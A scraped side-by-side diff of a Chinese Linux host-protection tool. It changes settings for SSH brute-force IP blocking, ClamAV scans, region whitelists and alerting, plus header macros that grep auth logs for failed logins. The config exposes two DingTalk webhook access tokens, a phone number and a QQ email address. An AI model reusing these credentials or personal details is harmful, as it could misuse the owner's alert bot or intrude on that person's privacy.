||||||
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
|
IS_DISK = 1; // 磁盘使用率(1开启,非1关闭)
|
||||||
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
|
DISK_USE = 95; // 任意某块磁盘使用率告警(大于等于1)
|
||||||
|
|
||||||
@ -12,9 +14,10 @@ global {
|
|||||||
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
|
IS_BLOCKED = 1; // 是否封禁攻击IP(1开启,非1关闭)
|
||||||
REFUSE_NUMBER = 3; // 拒绝攻击次数
|
REFUSE_NUMBER = 3; // 拒绝攻击次数
|
||||||
|
|
||||||
|
|
||||||
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
|
CLAMAV = 1; // clamav 是否扫描病毒(1开启,非1关闭)
|
||||||
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
CLAMAV_ARG = "-r / --exclude-dir=^/sys|^/dev|^/proc|^/opt/infected|^/root|^/home|^/mnt|^/usr|^/var --move=/opt/infected --max-filesize 1024M -l clamscan.log";
|
||||||
CLAMAV_TIME = "* 7 23 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
|
CLAMAV_TIME = "* 45 11 * * *"; // clamav 扫描时间(Cron格式, 秒 分 时 天 月 周)
|
||||||
|
|
||||||
|
|
||||||
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
|
IPV4_RESTRICTION = 1; // 是否启用IP白名单(1开启,非1关闭)
|
||||||
@ -23,18 +26,22 @@ global {
|
|||||||
|
|
||||||
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
|
REGION = 1; // 是否启用地域白名单(1开启,非1关闭)
|
||||||
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
|
IP2REGION = 1; // 是否使用本地 ip2region 地址定位库(1使用,非1不使用)
|
||||||
REGION_URL = "http://opendata.baidu.com/api.php?query=%s&co=&resource_id=6006&oe=utf8"; // 获取IP地域API
|
|
||||||
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
|
REGION_LIST = "河南 郑州 上海"; // 地域列表(空格隔开)
|
||||||
|
|
||||||
|
|
||||||
|
NGINX = 1; // 是否启用Nginx白名单
|
||||||
|
NGINX_LOG_FILE= "/usr/local/nginx/logs/access.log"; // Nginx 日志文件
|
||||||
|
NGINX_REGION_LIST = "中国 河南 郑州 上海"; // 地域列表(空格隔开)
|
||||||
|
|
||||||
|
|
||||||
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
|
IS_MAIL = 0; // 开启邮件告警(1开启,非1关闭)
|
||||||
|
|
||||||
|
|
||||||
IS_DING_WEBHOOK = 0; // 开启叮叮告警(1开启,非1关闭)
|
IS_DING_WEBHOOK = 1; // 开启叮叮告警(1开启,非1关闭)
|
||||||
PHONE = "15565979082"; // @的人手机号
|
PHONE = "15565979082"; // @的人手机号
|
||||||
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=7f069c672cb878987aa6772cca336740eece4ce36bde12b51b45e9f440e0565a"; // 钉钉WEBHOOK
|
DING_WEBHOOK = "https://oapi.dingtalk.com/robot/send?access_token=396bce0384cded025087cff3c176ea5e9afb9bd8fcaa46d6fa8c51dd172ba513"; // 钉钉WEBHOOK
|
||||||
|
|
||||||
|
|
||||||
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail:https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
IS_QQMAIL = 1; // 开启QQ邮箱告警(默认使用gomail: https://git.aixiao.me/aixiao/gomail.git)(1开启,非1关闭)
|
||||||
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
|
RECV_MAIL = "1605227279@qq.com"; // 接收者邮箱
|
||||||
}
|
}
|
||||||
|
60
rhost.h
60
rhost.h
@ -12,13 +12,12 @@
|
|||||||
#include <curl/curl.h>
|
#include <curl/curl.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
#include <arpa/inet.h>
|
#include <arpa/inet.h>
|
||||||
#include <time.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <assert.h>
|
#include <assert.h>
|
||||||
|
#include <limits.h>
|
||||||
|
#include <stdarg.h>
|
||||||
|
|
||||||
#include "./cJSON/cJSON.h"
|
|
||||||
#include "ip2region/ip2region.h"
|
#include "conf.h"
|
||||||
|
|
||||||
|
|
||||||
typedef struct now_next_time
|
typedef struct now_next_time
|
||||||
@ -42,51 +41,6 @@ typedef struct now_next_time
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
#include <assert.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <limits.h>
|
|
||||||
|
|
||||||
#include "ccronexpr.h"
|
|
||||||
|
|
||||||
#define MAX_SECONDS 60
|
|
||||||
#define CRON_MAX_MINUTES 60
|
|
||||||
#define CRON_MAX_HOURS 24
|
|
||||||
#define CRON_MAX_DAYS_OF_WEEK 8
|
|
||||||
#define CRON_MAX_DAYS_OF_MONTH 32
|
|
||||||
#define CRON_MAX_MONTHS 12
|
|
||||||
|
|
||||||
#define INVALID_INSTANT ((time_t) -1)
|
|
||||||
|
|
||||||
#define DATE_FORMAT "%Y-%m-%d_%H:%M:%S"
|
|
||||||
|
|
||||||
#ifndef ARRAY_LEN
|
|
||||||
#define ARRAY_LEN(x) sizeof(x)/sizeof(x[0])
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#ifdef CRON_TEST_MALLOC
|
|
||||||
static int cronAllocations = 0;
|
|
||||||
static int cronTotalAllocations = 0;
|
|
||||||
static int maxAlloc = 0;
|
|
||||||
void* cron_malloc(size_t n)
|
|
||||||
{
|
|
||||||
cronAllocations++;
|
|
||||||
cronTotalAllocations++;
|
|
||||||
if (cronAllocations > maxAlloc)
|
|
||||||
{
|
|
||||||
maxAlloc = cronAllocations;
|
|
||||||
}
|
|
||||||
return malloc(n);
|
|
||||||
}
|
|
||||||
|
|
||||||
void cron_free(void* p)
|
|
||||||
{
|
|
||||||
cronAllocations--;
|
|
||||||
free(p);
|
|
||||||
}
|
|
||||||
#endif
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
|
#define COLOR_NONE "\033[0m" //表示清除前面设置的格式
|
||||||
@ -107,9 +61,7 @@ void cron_free(void* p)
|
|||||||
#define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0)
|
#define BUILD(fmt...) do { fprintf(stderr,"%s %s ",__DATE__,__TIME__); fprintf(stderr, ##fmt); } while(0)
|
||||||
|
|
||||||
#define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' "
|
#define AWK " | awk -v num=%d '{a[$1]+=1;} END {for(i in a){if (a[i] >= num) {print i;}}}' "
|
||||||
|
|
||||||
#define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost"
|
#define GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/auth.log | grep failure | grep rhost"
|
||||||
#define GE_12 "grep -E \"^$(LC_ALL=\"C\" date +\"%Y-%m-%d\")\" /var/log/auth.log | grep failure | grep rhost"
|
|
||||||
#define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost"
|
#define LE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\")..$(LC_ALL=\"C\" date | awk '{print $3}')\" /var/log/auth.log | grep failure | grep rhost"
|
||||||
|
|
||||||
#define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost"
|
#define CENTOS_GE_10 "grep -E \"^$(LC_ALL=\"C\" date \"+%h\").$(LC_ALL=\"C\" date \"+%d\")\" /var/log/secure | grep failure | grep rhost"
|
||||||
@ -120,10 +72,14 @@ void cron_free(void* p)
|
|||||||
#define QQMAIL_Virus "gomail -r %s -s \"System Virus Infected\" -t \"%s\""
|
#define QQMAIL_Virus "gomail -r %s -s \"System Virus Infected\" -t \"%s\""
|
||||||
#define QQMAIL_DISK_USE "gomail -r %s -s \"System Disk Use\" -t \"%s\""
|
#define QQMAIL_DISK_USE "gomail -r %s -s \"System Disk Use\" -t \"%s\""
|
||||||
|
|
||||||
|
#define LOG_FILE "nginx.log"
|
||||||
|
|
||||||
|
|
||||||
extern void read_conf(char *filename, conf * configure);
|
extern void read_conf(char *filename, conf * configure);
|
||||||
extern void free_conf(conf * conf);
|
extern void free_conf(conf * conf);
|
||||||
extern void ptintf_conf(conf * conf);
|
extern void ptintf_conf(conf * conf);
|
||||||
|
extern void my_printf(const char *format, ...);
|
||||||
|
extern char *_time();
|
||||||
|
extern int isregion(char *str, char (*region_list)[WHITELIST_IP_NUM]);
|
||||||
|
|
||||||
#endif
|
#endif
|
||||||
|
Loading…
Reference in New Issue
Block a user